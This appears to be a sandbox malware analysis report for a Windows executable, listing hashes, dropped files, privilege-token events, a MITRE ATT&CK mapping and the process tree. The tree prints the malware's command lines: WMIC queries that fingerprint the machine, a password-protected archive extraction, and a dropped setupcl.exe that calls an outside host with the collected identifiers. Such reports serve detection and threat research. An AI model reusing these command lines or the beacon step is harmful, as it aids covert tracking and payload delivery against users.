2359ae1ca0eca3db26b61ad6652bca4b8e1d87daa42d5d4664fc3840ac78cacc

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
25/12/2023, 05:06

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General

Target

06c927c3e1421cd7600ed656526e23e4.exe
Size

403KB
MD5

06c927c3e1421cd7600ed656526e23e4
SHA1

857dfe61d3663ab43cfcaed21df1d2c515174de9
SHA256

2359ae1ca0eca3db26b61ad6652bca4b8e1d87daa42d5d4664fc3840ac78cacc
SHA512

463dad0cc6de6de44266043d8cefcf5fed94c570f6316468da3b8dadb8115bbbc8a437fde2f00dfbadb0396f399d45f12e1a542df39a5c1df4d92be9a40c9842
SSDEEP

12288:9A0i50G+7BsOx5UBkHY2lvNKltnVPZGEvvacEQ:9AfyGnQUBIYqlEZjvicP

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2512	7za.exe
1104	setupcl.exe

Loads dropped DLL 8 IoCs

pid	Process
3028	06c927c3e1421cd7600ed656526e23e4.exe
3028	06c927c3e1421cd7600ed656526e23e4.exe
3028	06c927c3e1421cd7600ed656526e23e4.exe
3028	06c927c3e1421cd7600ed656526e23e4.exe
3028	06c927c3e1421cd7600ed656526e23e4.exe
3028	06c927c3e1421cd7600ed656526e23e4.exe
3028	06c927c3e1421cd7600ed656526e23e4.exe
3028	06c927c3e1421cd7600ed656526e23e4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2400	WMIC.exe
Token: SeSecurityPrivilege	2400	WMIC.exe
Token: SeTakeOwnershipPrivilege	2400	WMIC.exe
Token: SeLoadDriverPrivilege	2400	WMIC.exe
Token: SeSystemProfilePrivilege	2400	WMIC.exe
Token: SeSystemtimePrivilege	2400	WMIC.exe
Token: SeProfSingleProcessPrivilege	2400	WMIC.exe
Token: SeIncBasePriorityPrivilege	2400	WMIC.exe
Token: SeCreatePagefilePrivilege	2400	WMIC.exe
Token: SeBackupPrivilege	2400	WMIC.exe
Token: SeRestorePrivilege	2400	WMIC.exe
Token: SeShutdownPrivilege	2400	WMIC.exe
Token: SeDebugPrivilege	2400	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2400	WMIC.exe
Token: SeRemoteShutdownPrivilege	2400	WMIC.exe
Token: SeUndockPrivilege	2400	WMIC.exe
Token: SeManageVolumePrivilege	2400	WMIC.exe
Token: 33	2400	WMIC.exe
Token: 34	2400	WMIC.exe
Token: 35	2400	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2400	WMIC.exe
Token: SeSecurityPrivilege	2400	WMIC.exe
Token: SeTakeOwnershipPrivilege	2400	WMIC.exe
Token: SeLoadDriverPrivilege	2400	WMIC.exe
Token: SeSystemProfilePrivilege	2400	WMIC.exe
Token: SeSystemtimePrivilege	2400	WMIC.exe
Token: SeProfSingleProcessPrivilege	2400	WMIC.exe
Token: SeIncBasePriorityPrivilege	2400	WMIC.exe
Token: SeCreatePagefilePrivilege	2400	WMIC.exe
Token: SeBackupPrivilege	2400	WMIC.exe
Token: SeRestorePrivilege	2400	WMIC.exe
Token: SeShutdownPrivilege	2400	WMIC.exe
Token: SeDebugPrivilege	2400	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2400	WMIC.exe
Token: SeRemoteShutdownPrivilege	2400	WMIC.exe
Token: SeUndockPrivilege	2400	WMIC.exe
Token: SeManageVolumePrivilege	2400	WMIC.exe
Token: 33	2400	WMIC.exe
Token: 34	2400	WMIC.exe
Token: 35	2400	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2692	WMIC.exe
Token: SeSecurityPrivilege	2692	WMIC.exe
Token: SeTakeOwnershipPrivilege	2692	WMIC.exe
Token: SeLoadDriverPrivilege	2692	WMIC.exe
Token: SeSystemProfilePrivilege	2692	WMIC.exe
Token: SeSystemtimePrivilege	2692	WMIC.exe
Token: SeProfSingleProcessPrivilege	2692	WMIC.exe
Token: SeIncBasePriorityPrivilege	2692	WMIC.exe
Token: SeCreatePagefilePrivilege	2692	WMIC.exe
Token: SeBackupPrivilege	2692	WMIC.exe
Token: SeRestorePrivilege	2692	WMIC.exe
Token: SeShutdownPrivilege	2692	WMIC.exe
Token: SeDebugPrivilege	2692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2692	WMIC.exe
Token: SeRemoteShutdownPrivilege	2692	WMIC.exe
Token: SeUndockPrivilege	2692	WMIC.exe
Token: SeManageVolumePrivilege	2692	WMIC.exe
Token: 33	2692	WMIC.exe
Token: 34	2692	WMIC.exe
Token: 35	2692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2692	WMIC.exe
Token: SeSecurityPrivilege	2692	WMIC.exe
Token: SeTakeOwnershipPrivilege	2692	WMIC.exe
Token: SeLoadDriverPrivilege	2692	WMIC.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1104	setupcl.exe
1104	setupcl.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 3028 wrote to memory of 2400	3028	06c927c3e1421cd7600ed656526e23e4.exe	18
PID 3028 wrote to memory of 2400	3028	06c927c3e1421cd7600ed656526e23e4.exe	18
PID 3028 wrote to memory of 2400	3028	06c927c3e1421cd7600ed656526e23e4.exe	18
PID 3028 wrote to memory of 2400	3028	06c927c3e1421cd7600ed656526e23e4.exe	18
PID 3028 wrote to memory of 2692	3028	06c927c3e1421cd7600ed656526e23e4.exe	21
PID 3028 wrote to memory of 2692	3028	06c927c3e1421cd7600ed656526e23e4.exe	21
PID 3028 wrote to memory of 2692	3028	06c927c3e1421cd7600ed656526e23e4.exe	21
PID 3028 wrote to memory of 2692	3028	06c927c3e1421cd7600ed656526e23e4.exe	21
PID 3028 wrote to memory of 3052	3028	06c927c3e1421cd7600ed656526e23e4.exe	34
PID 3028 wrote to memory of 3052	3028	06c927c3e1421cd7600ed656526e23e4.exe	34
PID 3028 wrote to memory of 3052	3028	06c927c3e1421cd7600ed656526e23e4.exe	34
PID 3028 wrote to memory of 3052	3028	06c927c3e1421cd7600ed656526e23e4.exe	34
PID 3028 wrote to memory of 2952	3028	06c927c3e1421cd7600ed656526e23e4.exe	33
PID 3028 wrote to memory of 2952	3028	06c927c3e1421cd7600ed656526e23e4.exe	33
PID 3028 wrote to memory of 2952	3028	06c927c3e1421cd7600ed656526e23e4.exe	33
PID 3028 wrote to memory of 2952	3028	06c927c3e1421cd7600ed656526e23e4.exe	33
PID 3028 wrote to memory of 2512	3028	06c927c3e1421cd7600ed656526e23e4.exe	29
PID 3028 wrote to memory of 2512	3028	06c927c3e1421cd7600ed656526e23e4.exe	29
PID 3028 wrote to memory of 2512	3028	06c927c3e1421cd7600ed656526e23e4.exe	29
PID 3028 wrote to memory of 2512	3028	06c927c3e1421cd7600ed656526e23e4.exe	29
PID 3028 wrote to memory of 1104	3028	06c927c3e1421cd7600ed656526e23e4.exe	32
PID 3028 wrote to memory of 1104	3028	06c927c3e1421cd7600ed656526e23e4.exe	32
PID 3028 wrote to memory of 1104	3028	06c927c3e1421cd7600ed656526e23e4.exe	32
PID 3028 wrote to memory of 1104	3028	06c927c3e1421cd7600ed656526e23e4.exe	32
PID 3028 wrote to memory of 1104	3028	06c927c3e1421cd7600ed656526e23e4.exe	32
PID 3028 wrote to memory of 1104	3028	06c927c3e1421cd7600ed656526e23e4.exe	32
PID 3028 wrote to memory of 1104	3028	06c927c3e1421cd7600ed656526e23e4.exe	32
PID 1104 wrote to memory of 1612	1104	setupcl.exe	31
PID 1104 wrote to memory of 1612	1104	setupcl.exe	31
PID 1104 wrote to memory of 1612	1104	setupcl.exe	31
PID 1104 wrote to memory of 1612	1104	setupcl.exe	31

C:\Users\Admin\AppData\Local\Temp\06c927c3e1421cd7600ed656526e23e4.exe
"C:\Users\Admin\AppData\Local\Temp\06c927c3e1421cd7600ed656526e23e4.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get UUID /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2400
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\7za.exe
  7za.exe e -y -p"62ab703ad4bb0ac6c150c8121a5a9ada" [RANDOM_STRING].7z
  2⤵
  - Executes dropped EXE
  PID:2512
- C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\setupcl.exe
  "C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\setupcl.exe" /initurl http://sub.ecocka.info/init/06c927c3e1421cd7600ed656526e23e4/:uid:? /affid "-" /id "0" /name " " /uniqid 06c927c3e1421cd7600ed656526e23e4 /uuid 00000000-0000-0000-0000-000000000000 /biosserial /biosversion ROCKS - 1 /csname Standard PC (Q35 + ICH9, 2009)
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1104
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get Name /FORMAT:textvaluelist.xsl
  2⤵
  PID:2952
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get Version /FORMAT:textvaluelist.xsl
  2⤵
  PID:3052

C:\Windows\SysWOW64\Wbem\wmic.exe
wmic bios get serialnumber, version
1⤵
PID:1612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\7za.exe

Filesize
381KB

MD5
c05252cf82fa42a594c12e9805087789

SHA1
c9d904cf43a32501202611e65d398e39b8bc492f

SHA256
7dd366d0215a64b8823bba22ec2ec6335b0427bfb34ee76fd4f95e6d822c77a2

SHA512
44d52dee87d9c457afe30b85d187b2f294a3cc6ecfd0f14fc096dc32912c0ba148ed1ab22a211eb97ebbd76c82e512cedd03287301a09e6158498169da42cd77

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\7za.exe

Filesize
93KB

MD5
3e5dddeb617455a0bf8e1634d9b75b31

SHA1
ff6d79b3a5d00a234b132570b8bcbe8db93da9de

SHA256
f875921639da64e93948c4e3ee197835e413ec18ea76def2d99b01edb0a23a22

SHA512
a9ab59f6396fb980cf0788d983ecccbad3e8de9d2ecfbe5c3b6191c790de88c1ecf4c65fdc8bfd3620d33d93c956aba42d0a0c3e8d53b21c0381d5f8456c4d5e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\[RANDOM_STRING].7z

Filesize
80KB

MD5
4de7a732253f40bb14e952b1982e4fc6

SHA1
ac294e2e0f54eaecef43715e844a97acf1f88d6a

SHA256
96e5b1d7ee6b01ff35203546cf2b89e6138987df8897dae98cab6270fa5a845f

SHA512
0e91c7422522da614744370e606012aadcc1d67b171180ec930305ac6c70f775ea825ace159417e5c91e395afd10d55abbd213879ec1196cfe5511ba9d8b375c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\setupcl.exe

Filesize
193KB

MD5
10bd2af1b07ec6bc9cd17ba512569e59

SHA1
807e17ab1b98177e135d30941b45081960d1e866

SHA256
9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c

SHA512
deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\setupcl.exe

Filesize
92KB

MD5
d443a70c5fbadd5cb5472cbc3894078f

SHA1
10068fe26e3271337e8ee99c14dc168711765379

SHA256
4dda24624042ecfe303e2c3556c981f67e8f0a4f6d21f673f12fa2baeef84c0a

SHA512
33396f3d0cb91fabaac854032ba8c3319cf27ad4e27ee7bc2005dc15242d3b05c2003863d1796ed7279930326d78665e47c72fc3443fb9ed463ea4bfc55ceef5

Download Submit
\Users\Admin\AppData\Local\Temp\nso7D0.tmp\7za.exe

Filesize
92KB

MD5
c3d879e6aa379bef396b044edba45620

SHA1
b2bf1627119b3e256a288b860540ca65851589a7

SHA256
cd3522174334f836af2ef913d55837059113d2ef35dd7c72d7f7c736f85add71

SHA512
ff03b1530eeb1da666e623485fc8d8096688d031a892cc380ba62e15953934bb248e59bdd20429313b687d6e04e81d9bfb732a41ff6f27c1ca7ba80af18bcd4f

Download Submit
\Users\Admin\AppData\Local\Temp\nso7D0.tmp\nsExec.dll

Filesize
8KB

MD5
b8be6632a7dc8136ff01338be40fe701

SHA1
043fa16929b2af5ed5c1c59b4035a10cf765fb43

SHA256
289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

SHA512
403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

Download Submit
memory/1104-43-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/1104-42-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/1104-44-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/3028-41-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download